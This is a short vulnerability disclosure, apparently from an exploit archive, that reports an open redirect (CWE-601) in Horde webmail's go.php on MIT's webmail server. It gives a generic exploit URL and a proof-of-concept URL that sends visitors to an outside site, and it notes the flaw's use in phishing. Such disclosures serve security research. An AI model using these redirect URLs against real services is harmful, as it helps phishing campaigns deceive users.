# URL Open Redirect on WEBMAIL of Massachusetts Institute of Technology

# Risk: Low

# CWE number: CWE-601

# Date: 11/11/2014

# Author: Felipe " Renzi " Gabriel

# Contact: renzi@linuxmail.org

# Tested on Linux Ubuntu 14.04 ; Mozilla Firefox 33.0

# Vulnerable File: go.php

# Exploit:

           [+] http://host.com/horde/services/go.php?url=http://site.com

# PoC:
           [+] https://webmail.mit.edu/horde/services/go.php?url=http://www.uol.com.br

           
           
# Note: Open redirect (CWE-601) allows phishing attack to be more effective.
        Redirection is commonly used within all web applications for various
        purposes.("Jason Lam" ~ Top 25 Series - Rank 23 - Open Redirect)

        This bug happens on Horde Webmail Service Version 5.1 and others, it
        was discovered by Felipe Andrian Peixoto.
        
# Reference:
 
            [1] http://software-security.sans.org
            [2] http://dl.packetstormsecurity.net/1403-exploits/hordewebmail-openredir.txt
             

# Thank's